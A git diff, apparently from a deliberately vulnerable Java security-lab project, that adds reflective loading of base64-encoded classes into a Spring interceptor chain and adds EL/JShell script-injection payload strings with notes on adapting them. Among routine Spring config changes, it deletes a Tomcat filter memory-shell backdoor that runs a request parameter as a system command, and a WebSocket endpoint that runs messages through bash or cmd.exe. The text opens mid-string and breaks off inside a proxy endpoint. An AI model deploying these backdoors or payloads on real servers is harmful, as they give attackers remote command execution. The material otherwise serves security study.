QAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBAAdEZWNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcgEABmRlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwAhAEAAQQAAAAIAAgBCAEMAAAACAEQARQAAAAQAAQBGAEcAAQBIAAAARQACAAEAAAAPKrcAASoSArUAAyq3AASxAAAAAgBJAAAAEgAEAAAAFgAEABQACgAXAA4AGABKAAAADAABAAAADwBLAEwAAAABAE0ATgACAEgAAAFOAAQABwAAAJ+yAAUSBrYABysSCLkACQIAxgCNKxIIuQAJAgASCrYAC5kAfSsqtAADuQAJAgA6BBkExgBsGQS2AAyaAGSyAA0SDrYAC5kAGwa9AA9ZAxIQU1kEEhFTWQUZBFM6BacAGAa9AA9ZAxISU1kEEhNTWQUZBFM6BbsAFFm4ABUZBbYAFrYAF7cAGBIZtgAatgAbOgYsuQAcAQAZBrYAHQOsBKwAAAADAEkAAAAuAAsAAAAbAAgAHQAjAB4ALwAfADwAIQBHACIAXwAkAHQAJwCQACgAmwApAJ0ALQBKAAAAUgAIAFwAAwBPAFAABQB0ACkATwBQAAUAkAANAFEARQAGAC8AbgBSAEUABAAAAJ8ASwBMAAAAAACfAFMAVAABAAAAnwBVAFYAAgAAAJ8AVwBYAAMAWQAAABEAA/wAXwcAWvwAFAcAW/kAKABcAAAABAABAF0AAgBeAEcAAQBIAAABtgAHAAcAAACJuAAetgAfTCorEiC2ACG1ACKnAGdNEiROuAAlLbYAJjoEAToFEicSKAa9AClZAxIqU1kEsgArU1kFsgArU7YALDoFGQUEtgAtKhkFKwa9AC5ZAxkEU1kEA7gAL1NZBRkEvrgAL1O2ADDAACm1ACKnAAo6BhkGtgAypwAQTCu2ADSnAAhMK7YANrEABAAHABEAFAAjACQAbgBxADEAAAB4AHsAMwAAAHgAgwA1AAMASQAAAFIAFAAAADIABwA1ABEAQgAUADYAFQA3ABgAOAAhADkAJAA8AEIAPQBIAD4AbgBBAHEAPwBzAEAAeABHAHsAQwB8AEQAgABHAIMARQCEAEYAiABJAEoAAABcAAkAcwAFAF8AYAAGABgAYABhAEUAAwAhAFcAYgBjAAQAJABUAGQAZQAFABUAYwBmAGcAAgAHAHEAaABpAAEAfAAEAGoAawABAIQABABsAG0AAQAAAIkASwBMAAAAWQAAAEEABv8AFAACBwBuBwBvAAEHAHD/AFwABgcAbgcAbwcAcAcAWgcAKgcAcQABBwBy/wAGAAEHAG4AAEIHAHNHBwB0BAAJAHUAdgABAEgAAADWAAMAAwAAADQSNwO9AA+4ADi4ADlMpwAXTbsAO1kstwA8v027ADtZLLcAPL+4AD4rtgA/TbIABSy2AAexAAIAAAANABAAOgAAAA0AGgA9AAMASQAAACYACQAAAE4ADQBTABAATwARAFAAGgBRABsAUgAkAFUALABWADMAVwBKAAAAPgAGAA0AAwB3AGMAAQARAAkAeAB5AAIAGwAJAHgAegACAAAANAB7AFAAAAAkABAAdwBjAAEALAAIAHwARQACAFkAAAAQAANQBwB9SQcAfvwACQcAKgADAH8AAAACAIAAgQAAAAYAAQCCAAAA/AAAABIAAgCxAK8A+wAJAMwArwEUAAk="; + byte[] bytes = java.util.Base64.getDecoder().decode(codeClass); + + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); + }catch (Exception ex){ + ex.printStackTrace(); + } + } + + adaptedInterceptors.add(clazz.newInstance()); + } catch (NoSuchFieldException e) { + throw new RuntimeException(e); + } catch (ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (InstantiationException e) { + throw new RuntimeException(e); + } + } + + public static void main(String[] args) { + Class clazz; + String codeClass = "yv66vgAAADQAKAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAB9bKl0gcHVibGljIGNvbnN0cnVjdG9yIEV4cGxvaXQxCgAQABEHABIMABMAFAEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCAAWAQAUWypdIG1haW4gaW4gRXhwbG9pdDEIABgBABxbKl0gc3RhdGljIGJsb2NrIGluIEV4cGxvaXQxBwAaAQAMY29tL0V4cGxvaXQxAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MY29tL0V4cGxvaXQxOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQANRXhwbG9pdDEuamF2YQAhABkAAgAAAAAAAwABAAUABgABABsAAAA/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAcAAAADgADAAAACAAEAAkADAAKAB0AAAAMAAEAAAANAB4AHwAAAAkAIAAhAAIAGwAAADcAAgABAAAACbIABxIVtgAPsQAAAAIAHAAAAAoAAgAAAA0ACAAOAB0AAAAMAAEAAAAJACIAIwAAACQAAAAFAQAiAAAACAAlAAYAAQAbAAAAJQACAAAAAAAJsgAHEhe2AA+xAAAAAQAcAAAACgACAAAABQAIAAYAAQAmAAAAAgAn"; + byte[] bytes = java.util.Base64.getDecoder().decode(codeClass); + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + + // defineClass + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + method.invoke(classLoader, bytes, 0, bytes.length); + + + // loadClass + clazz = classLoader.loadClass("com.Exploit1"); + + clazz.newInstance(); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException | ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (InstantiationException e) { + throw new RuntimeException(e); + } + } +} diff --git a/src/main/java/com/Test.java b/src/main/java/com/Test.java new file mode 100644 index 00000000..8476f9f2 --- /dev/null +++ b/src/main/java/com/Test.java @@ -0,0 +1,67 @@ +package com; + +//import jdk.jshell.JShell; +//import jdk.jshell.SnippetEvent; + +import java.util.List; + +public class Test { + + public static void main(String[] args) { + /** + * ① 所有的数据类型修改为 var, 包括 byte[] bytes ( var bytes ) + * ② 必须使用全类名 + * ③ System.out.println() 需要修改为 print() + * ④ try{...}catch(Exception e){...} 需要修改为 try{...}catch(err){...} + * ⑤ 双引号改为单引号 + * ⑥ Class.forName() 需要改为 java.lang.Class.forName(), String 需要改为 java.lang.String等 + * ⑦ 去除类型强转 + * ⑧ 不能用 sun.misc.BASE64Encoder,会抛异常 javax.script.ScriptException: ReferenceError: "sun" is not defined in at line number 1 + * ⑨ 不能使用 for(Object obj : objects) 循环 + */ + + String payload = "''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('System.out.println(\"111\");')"; + String payloadTemplate = "{" + + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + + ".newInstance().getEngineByName(\"JavaScript\")" + + ".eval(\"print('hello')\")" + + "}"; +// new javax.el.ELProcessor().eval(payload); + +// String jshellPayload = " String[] strs = new String[3];\n" + +// " if(java.io.File.separator.equals(\"/\")){\n" + +// " strs[0]=\"/bin/bash\";\n" + +// " strs[1]=\"-c\";\n" + +// " strs[2]=\"notepad\";\n" + +// " }else{\n" + +// " strs[0]=\"cmd\";\n" + +// " strs[1]=\"/C\";\n" + +// " strs[2]=\"notepad\";\n" + +// " }\n" + +// " java.lang.Runtime.getRuntime().exec(strs);"; + + String classCode = "Y3Fx"; + Class clazz = java.lang.Runtime.class; + String jshellPayload = "byte[] bytes = java.util.Base64.getDecoder().decode(\"" + classCode + "\");\n" + + "java.lang.ClassLoader classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " java.lang.Class clazz = classLoader.loadClass(\"" + clazz.getName() + "\");\n" + + " clazz.newInstance();\n" + + "}catch(java.lang.Exception e){\n" + +// " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + +// " method.setAccessible(true);\n" + +// " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " java.lang.Class clazz = java.lang.invoke.MethodHandles.lookup().defineClass(bytes);" + + " clazz.newInstance();\n" + + "};"; + +// JShell shell = JShell.builder().build(); +// List events = shell.eval(jshellPayload); +// events.stream().forEach(e -> System.out.println(e.toString())); + + +// new javax.el.ELProcessor().eval("Runtime.getRuntime().exec(\"notepad\")"); + + + } +} diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index afdf6f56..cbdd31c3 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -4,18 +4,16 @@ import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.servlet.ServletComponentScan; -import org.springframework.boot.web.support.SpringBootServletInitializer; +//import org.springframework.boot.web.support.SpringBootServletInitializer; +//import org.springframework.cloud.netflix.eureka.EnableEurekaClient; + @ServletComponentScan // do filter @SpringBootApplication // @EnableEurekaClient // 测试Eureka请打开注释,防止控制台一直有warning -public class Application extends SpringBootServletInitializer { - - @Override - protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { - return application.sources(Application.class); - } +//public class Application extends SpringBootServletInitializer { // Spring boot 1.5.1.RELEASE的写法 +public class Application { // Spring boot 2.6.6 的写法 public static void main(String[] args) throws Exception { SpringApplication.run(Application.class, args); diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java index 47d3acea..339fcbf3 100644 --- a/src/main/java/org/joychou/config/CustomCorsConfig.java +++ b/src/main/java/org/joychou/config/CustomCorsConfig.java @@ -1,7 +1,7 @@ package org.joychou.config; import org.joychou.security.CustomCorsProcessor; -import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter; +//import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.CorsRegistry; @@ -10,11 +10,12 @@ import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; @Configuration -public class CustomCorsConfig extends WebMvcRegistrationsAdapter { +//public class CustomCorsConfig extends WebMvcRegistrationsAdapter { +public class CustomCorsConfig implements WebMvcConfigurer { // Ref: https://www.baeldung.com/web-mvc-configurer-adapter-deprecated - /** - * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 - */ +/** + * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 + */ @Bean public WebMvcConfigurer corsConfigurer() { return new WebMvcConfigurerAdapter() { @@ -31,10 +32,10 @@ public void addCorsMappings(CorsRegistry registry) { } - @Override - public RequestMappingHandlerMapping getRequestMappingHandlerMapping() { - return new CustomRequestMappingHandlerMapping(); - } +// @Override +// public RequestMappingHandlerMapping getRequestMappingHandlerMapping() { +// return new CustomRequestMappingHandlerMapping(); +// } /** diff --git a/src/main/java/org/joychou/config/HttpServiceConfig.java b/src/main/java/org/joychou/config/HttpServiceConfig.java deleted file mode 100644 index 64477bd4..00000000 --- a/src/main/java/org/joychou/config/HttpServiceConfig.java +++ /dev/null @@ -1,38 +0,0 @@ -package org.joychou.config; - -import org.springframework.boot.web.client.RestTemplateBuilder; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.http.client.SimpleClientHttpRequestFactory; -import org.springframework.web.client.RestTemplate; - -import java.io.IOException; -import java.net.HttpURLConnection; - - -class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory { - - - @Override - protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException { - super.prepareConnection(connection, httpMethod); - // Use custom ClientHttpRequestFactory to set followRedirects false. - connection.setInstanceFollowRedirects(false); - } -} - -@Configuration -public class HttpServiceConfig { - - @Bean - public RestTemplate restTemplateBanRedirects(RestTemplateBuilder builder) { - return builder.requestFactory(CustomClientHttpRequestFactory.class).build(); - } - - - @Bean - public RestTemplate restTemplate(RestTemplateBuilder builder) { - return builder.build(); - } - -} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/Knife4jConfig.java b/src/main/java/org/joychou/config/Knife4jConfig.java new file mode 100644 index 00000000..b5718d80 --- /dev/null +++ b/src/main/java/org/joychou/config/Knife4jConfig.java @@ -0,0 +1,45 @@ +package org.joychou.config; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.env.Environment; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; +import springfox.documentation.service.ApiInfo; +import springfox.documentation.service.Contact; +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spring.web.plugins.Docket; +//import springfox.documentation.swagger2.annotations.EnableSwagger2WebMvc; + +import java.util.ArrayList; + +// Ref: https://www.cnblogs.com/dxiaodang/p/14603610.html +public class Knife4jConfig { + + @Autowired + private Environment environment; + + @Bean + public Docket docket() { + + return new Docket(DocumentationType.SWAGGER_2) + .apiInfo(apiInfo()) + .groupName("分组名称") // 配置api文档的分组 + .select() + .apis(RequestHandlerSelectors.basePackage("com.ruyidan")) //配置扫描路径 + .paths(PathSelectors.any()) // 配置过滤哪些 + .build(); + } + // api基本信息 + private ApiInfo apiInfo() { + return new ApiInfo("dxiaodang's swagger", + "测试swagger-ui", + "v1.0", + "http://mail.qq.com", + new Contact("dangbo", "http://mail.qq.com", "145xxxxx@qq.com"), //作者信息 + "Apache 2.0", + "http://www.apache.org/licenses/LICENSE-2.0", + new ArrayList()); + } +} diff --git a/src/main/java/org/joychou/config/Object2Jsonp.java b/src/main/java/org/joychou/config/Object2Jsonp.java index 64d68205..595ed340 100644 --- a/src/main/java/org/joychou/config/Object2Jsonp.java +++ b/src/main/java/org/joychou/config/Object2Jsonp.java @@ -1,100 +1,100 @@ -package org.joychou.config; - -import org.apache.commons.lang.StringUtils; -import org.joychou.security.SecurityUtil; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.core.MethodParameter; -import org.springframework.http.MediaType; -import org.springframework.http.converter.json.MappingJacksonValue; -import org.springframework.http.server.ServerHttpRequest; -import org.springframework.http.server.ServerHttpResponse; -import org.springframework.http.server.ServletServerHttpRequest; -import org.springframework.http.server.ServletServerHttpResponse; -import org.springframework.web.bind.annotation.ControllerAdvice; -import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; - -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - - - -/** - * AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. - * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2 - */ -@ControllerAdvice -public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { - - private final String[] callbacks; - private final Logger logger= LoggerFactory.getLogger(this.getClass()); - - - // method of using @Value in constructor - public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { - super(callbacks); // Can set multiple paramNames - this.callbacks = callbacks; - } - - - // Check referer - @Override - protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType, - MethodParameter returnType, ServerHttpRequest req, - ServerHttpResponse res) { - - HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest(); - HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse(); - - String realJsonpFunc = getRealJsonpFunc(request); - // 如果url带callback,且校验不安全后 - if ( StringUtils.isNotBlank(realJsonpFunc) ) { - jsonpReferHandler(request, response); - } - super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res); - } - - /** - * @return 获取实际jsonp的callback - */ - private String getRealJsonpFunc(HttpServletRequest req) { - - String reqCallback = null; - for (String callback: this.callbacks) { - reqCallback = req.getParameter(callback); - if(StringUtils.isNotBlank(reqCallback)) { - break; - } - } - return reqCallback; - } - - // 校验Jsonp的Referer - private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) { - - String refer = request.getHeader("referer"); - String url = request.getRequestURL().toString(); - String query = request.getQueryString(); - - // 如果jsonp校验的开关为false,不校验 - if ( !WebConfig.getJsonpReferCheckEnabled() ) { - return; - } - - // 校验jsonp逻辑,如果不安全,返回forbidden - if (SecurityUtil.checkURL(refer) == null ){ - logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); - try{ - // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错 -// response.setStatus(HttpServletResponse.SC_FORBIDDEN); -// response.getWriter().write(" Referer check error."); -// response.flushBuffer(); - response.sendRedirect(Constants.ERROR_PAGE); - } catch (Exception e){ - logger.error(e.toString()); - } - - } - } -} +//package org.joychou.config; +// +//import org.apache.commons.lang.StringUtils; +//import org.joychou.security.SecurityUtil; +//import org.slf4j.Logger; +//import org.slf4j.LoggerFactory; +//import org.springframework.beans.factory.annotation.Value; +//import org.springframework.core.MethodParameter; +//import org.springframework.http.MediaType; +//import org.springframework.http.converter.json.MappingJacksonValue; +//import org.springframework.http.server.ServerHttpRequest; +//import org.springframework.http.server.ServerHttpResponse; +//import org.springframework.http.server.ServletServerHttpRequest; +//import org.springframework.http.server.ServletServerHttpResponse; +//import org.springframework.web.bind.annotation.ControllerAdvice; +//import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; +// +//import javax.servlet.http.HttpServletRequest; +//import javax.servlet.http.HttpServletResponse; +// +// +// +///** +// * AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. +// * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2 +// */ +//@ControllerAdvice +//public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { +// +// private final String[] callbacks; +// private final Logger logger= LoggerFactory.getLogger(this.getClass()); +// +// +// // method of using @Value in constructor +// public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { +// super(callbacks); // Can set multiple paramNames +// this.callbacks = callbacks; +// } +// +// +// // Check referer +// @Override +// protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType, +// MethodParameter returnType, ServerHttpRequest req, +// ServerHttpResponse res) { +// +// HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest(); +// HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse(); +// +// String realJsonpFunc = getRealJsonpFunc(request); +// // 如果url带callback,且校验不安全后 +// if ( StringUtils.isNotBlank(realJsonpFunc) ) { +// jsonpReferHandler(request, response); +// } +// super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res); +// } +// +// /** +// * @return 获取实际jsonp的callback +// */ +// private String getRealJsonpFunc(HttpServletRequest req) { +// +// String reqCallback = null; +// for (String callback: this.callbacks) { +// reqCallback = req.getParameter(callback); +// if(StringUtils.isNotBlank(reqCallback)) { +// break; +// } +// } +// return reqCallback; +// } +// +// // 校验Jsonp的Referer +// private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) { +// +// String refer = request.getHeader("referer"); +// String url = request.getRequestURL().toString(); +// String query = request.getQueryString(); +// +// // 如果jsonp校验的开关为false,不校验 +// if ( !WebConfig.getJsonpReferCheckEnabled() ) { +// return; +// } +// +// // 校验jsonp逻辑,如果不安全,返回forbidden +// if (SecurityUtil.checkURL(refer) == null ){ +// logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); +// try{ +// // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错 +//// response.setStatus(HttpServletResponse.SC_FORBIDDEN); +//// response.getWriter().write(" Referer check error."); +//// response.flushBuffer(); +// response.sendRedirect(Constants.ERROR_PAGE); +// } catch (Exception e){ +// logger.error(e.toString()); +// } +// +// } +// } +//} diff --git a/src/main/java/org/joychou/config/SwaggerConfig.java b/src/main/java/org/joychou/config/SwaggerConfig.java index c2a73973..3a1e3495 100644 --- a/src/main/java/org/joychou/config/SwaggerConfig.java +++ b/src/main/java/org/joychou/config/SwaggerConfig.java @@ -1,31 +1,31 @@ -package org.joychou.config; - -import org.springframework.beans.factory.annotation.Value; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import springfox.documentation.builders.PathSelectors; -import springfox.documentation.builders.RequestHandlerSelectors; - -import springfox.documentation.spi.DocumentationType; -import springfox.documentation.spring.web.plugins.Docket; -import springfox.documentation.swagger2.annotations.EnableSwagger2; - - -@Configuration -@EnableSwagger2 -public class SwaggerConfig { - - @Value("${swagger.enable}") - private boolean enableSwagger; - - @Bean - public Docket api() { - return new Docket(DocumentationType.SWAGGER_2) - .enable(enableSwagger) - .select() - .apis(RequestHandlerSelectors.any()) - .paths(PathSelectors.any()) - .build(); - } - -} +//package org.joychou.config; +// +//import org.springframework.beans.factory.annotation.Value; +//import org.springframework.context.annotation.Bean; +//import org.springframework.context.annotation.Configuration; +//import springfox.documentation.builders.PathSelectors; +//import springfox.documentation.builders.RequestHandlerSelectors; +// +//import springfox.documentation.spi.DocumentationType; +//import springfox.documentation.spring.web.plugins.Docket; +//import springfox.documentation.swagger2.annotations.EnableSwagger2; +// +// +//@Configuration +//@EnableSwagger2 +//public class SwaggerConfig { +// +// @Value("${swagger.enable}") +// private boolean enableSwagger; +// +// @Bean +// public Docket api() { +// return new Docket(DocumentationType.SWAGGER_2) +// .enable(enableSwagger) +// .select() +// .apis(RequestHandlerSelectors.any()) +// .paths(PathSelectors.any()) +// .build(); +// } +// +//} diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java deleted file mode 100644 index 15822d59..00000000 --- a/src/main/java/org/joychou/config/TomcatFilterMemShell.java +++ /dev/null @@ -1,105 +0,0 @@ -package org.joychou.config; - -import java.lang.reflect.Field; -import org.apache.catalina.core.StandardContext; -import java.io.IOException; -import org.apache.catalina.loader.WebappClassLoaderBase; -import org.apache.tomcat.util.descriptor.web.FilterDef; -import org.apache.tomcat.util.descriptor.web.FilterMap; -import java.lang.reflect.Constructor; -import org.apache.catalina.core.ApplicationFilterConfig; -import org.apache.catalina.Context; -import org.springframework.stereotype.Component; - -import javax.servlet.*; -import java.util.*; - -//@Component -public class TomcatFilterMemShell implements Filter { - static{ - try { - System.out.println("Tomcat filter backdoor class is loading..."); - final String name = "backdoorTomcatFilter"; - final String URLPattern = "/*"; - - WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); - // standardContext为tomcat标准上下文, - StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); - - Class aClass; - try{ - // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext - // 适用于内嵌式springboot的tomcat - aClass = (Class) standardContext.getClass().getSuperclass(); - }catch (Exception e){ - aClass = standardContext.getClass(); - } - Field Configs = aClass.getDeclaredField("filterConfigs"); - Configs.setAccessible(true); - // 获取当前tomcat标准上下文中已经存在的filterConfigs - Map filterConfigs = (Map) Configs.get(standardContext); - - // 判断下防止重复注入 - if (filterConfigs.get(name) == null) { - // 构造filterDef,并将filterDef添加到standardContext的FilterDef中 - TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell(); - FilterDef filterDef = new FilterDef(); - filterDef.setFilter(backdoorFilter); - filterDef.setFilterName(name); - filterDef.setFilterClass(backdoorFilter.getClass().getName()); - standardContext.addFilterDef(filterDef); - - // 构造fiterMap,将filterMap添加到standardContext的FilterMap - FilterMap filterMap = new FilterMap(); - filterMap.addURLPattern(URLPattern); - filterMap.setFilterName(name); - filterMap.setDispatcher(DispatcherType.REQUEST.name()); - standardContext.addFilterMapBefore(filterMap); - - Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); - constructor.setAccessible(true); - ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); - - // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可 - filterConfigs.put(name, filterConfig); - System.out.println("Tomcat filter backdoor inject success!"); - } else System.out.println("It has been successfully injected, do not inject again."); - } catch (Exception e) { - System.out.println(e.getMessage()); - } - } - - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { - String cmd; - if ((cmd = servletRequest.getParameter("cmd_")) != null) { - Process process = Runtime.getRuntime().exec(cmd); - java.io.BufferedReader bufferedReader = new java.io.BufferedReader( - new java.io.InputStreamReader(process.getInputStream())); - StringBuilder stringBuilder = new StringBuilder(); - String line; - while ((line = bufferedReader.readLine()) != null) { - stringBuilder.append(line).append('\n'); - } - servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); - servletResponse.getOutputStream().flush(); - servletResponse.getOutputStream().close(); - return; - } - - filterChain.doFilter(servletRequest, servletResponse); - } - - - @Override - public void destroy() { - - } - -} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java deleted file mode 100644 index ae4a0f1a..00000000 --- a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java +++ /dev/null @@ -1,46 +0,0 @@ -package org.joychou.config; - -import javax.websocket.*; -import java.io.InputStream; - -public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole { - private Session session; - - @Override - public void onOpen(Session session, EndpointConfig endpointConfig) { - this.session = session; - session.addMessageHandler(this); - } - - @Override - public void onClose(Session session, CloseReason closeReason) { - super.onClose(session, closeReason); - } - - @Override - public void onError(Session session, Throwable throwable) { - super.onError(session, throwable); - } - - @Override - public void onMessage(String s) { - try { - Process process; - boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); - if (bool) { - process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); - } else { - process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); - } - InputStream inputStream = process.getInputStream(); - StringBuilder stringBuilder = new StringBuilder(); - int i; - while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); - inputStream.close(); - process.waitFor(); - session.getBasicRemote().sendText(stringBuilder.toString()); - } catch (Exception exception) { - exception.printStackTrace(); - } - } -} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java deleted file mode 100644 index 4c1f7710..00000000 --- a/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java +++ /dev/null @@ -1,111 +0,0 @@ -package org.joychou.config; - -import javax.websocket.Endpoint; -import javax.websocket.EndpointConfig; -import javax.websocket.MessageHandler; -import javax.websocket.Session; -import java.io.ByteArrayOutputStream; -import java.net.InetSocketAddress; -import java.nio.ByteBuffer; -import java.nio.channels.AsynchronousSocketChannel; -import java.nio.channels.CompletionHandler; -import java.util.HashMap; -import java.util.concurrent.Future; -import java.util.concurrent.TimeUnit; - -public class WebSocketsProxyEndpoint extends Endpoint { - long i = 0; - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - HashMap map = new HashMap(); - - static class Attach { - public AsynchronousSocketChannel client; - public Session channel; - } - 